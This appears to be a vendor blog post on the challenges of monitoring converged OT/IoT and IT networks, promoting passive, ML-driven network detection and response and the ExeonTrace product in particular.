The underlying trend is clear: OT and IoT networks are progressively integrated with traditional IT networks for management and access purposes, leading to increased communication between these devices both internally and externally. This not only affects the networks itself but also carries significant ramifications for the security teams responsible for safeguarding the environment. Although this convergence of OT and IT offers numerous benefits, such as enhanced efficiency and reduced operational costs, it also gives rise to new security risks and challenges, rendering OT environments more vulnerable to cyber threats. As evidenced by past attacks, these threats often go undetected due to insufficient security monitoring, allowing threat actors to remain undetected for extended durations. As a result, achieving holistic visibility and effective anomaly detection in OT environments is pivotal for maintaining steadfast security and control.

****What Challenges Arise in Monitoring OT Environments?****

First and foremost, understanding the unique threat landscape of OT environments is crucial. Traditional IT security detection methods fall short in this context, as they require different sensitivity thresholds and more refined monitoring for network segments or device groups, as well as OT-specific detection mechanisms. Unlike IT attacks that focus on data theft, OT attacks typically aim for physical impact. Moreover, as recent examples demonstrate, ransomware in the context of OT is on the rise and directly affects the availability of control systems and safety.

Second, monitoring OT environments requires the consideration of various aspects, such as supplier access management, device management, and network communications. Controlling and overseeing supplier access to OT and IoT networks is challenging, as connections between external and internal networks can occur through various means like VPNs, direct mobile connections, and jump hosts. Another hurdle is device management, which encompasses update mechanisms and protection against unauthorized access or manipulation. Implementing regular updating routines and deploying Endpoint Detection & Response (EDR) on OT and IoT devices is often limited or infeasible. The variety of devices, their life spans, and device-specific operating systems make deploying security software to monitor OT devices difficult and cumbersome.

Third, traditional IT network detection methods require in-depth protocol knowledge, which, in the OT context, includes a wide range of different protocols and attack scenarios absent in traditional rule sets. OT network devices connect IoT sensors and machines using communication protocols uncommon in traditional IT networks. In terms of more intrusive security solutions, active vulnerability scanning methods can also be problematic in OT environments, as they may cause disruptions or even outages. The same applies to Intrusion Prevention Systems (IPS) because they could block network packets, impacting stability and business continuity in OT environments. As a result, passive network detection systems like Network Detection & Response (NDR) solutions are better suited for this purpose.

****How Can I Effectively Monitor and Secure My OT Environment?****

While secure access management and device lifecycle management are essential, their seamless implementation can be incredibly challenging. In this context, Network Detection and Response (NDR) solutions offer a non-intrusive and effective approach to monitoring OT environments. By focusing on communication patterns for OT devices, the intersection between IT and OT, and third-party access to OT networks, NDR systems provide comprehensive visibility and detection capabilities without disrupting industrial operations and business processes.

In particular, NDR solutions with advanced baselining capabilities excel at identifying new and unusual communication patterns that could indicate malicious activities within OT networks. Utilizing flow information for baselining, these NDR systems provide protocol and device-independent anomaly detection by learning who communicates with whom and at what frequency. Instead of manually configuring these parameters, the NDR learns the baseline and alerts the security teams on unusual requests or changes in the frequency. In addition, a flexible use case framework allows setting fine-tuned thresholds for OT-specific monitoring, including the ability to set load monitoring with network zone-specific granularity. Moreover, the use of Machine Learning algorithms allows for more accurate detection of anomalies and potential threats compared to traditional rule-based systems.

As a result, the passive monitoring capabilities of NDR solutions are vital for OT and IoT environments, where alternative monitoring methods may be difficult to implement or cause disruptions. ExeonTrace, a particularly robust and easy-to-implement ML-driven NDR system for OT environments, analyzes log data from traditional IT environments, OT networks, and jump host gateways, to provide a comprehensive and holistic view of network activity. Therein, the flexibility of integrating various third-party log sources, such as OT-specific logs, is crucial. Moreover, ExeonTrace's ability to integrate with other OT-specific detection platforms enhances its capabilities and ensures extensive security coverage.

ExeonTrace Platform: OT Network Visibility

In summary, NDR solutions like ExeonTrace effectively address the distinct challenges of OT monitoring, establishing the Swiss NDR system as the favored detection approach for safeguarding OT environments. By implementing ML-driven NDR systems like ExeonTrace, organizations can reliably monitor and secure their industrial operations, ensuring business continuity through an automated, efficient, and hardware-free approach. Find out if ExeonTrace is the ideal solution for your business and request a demo today.

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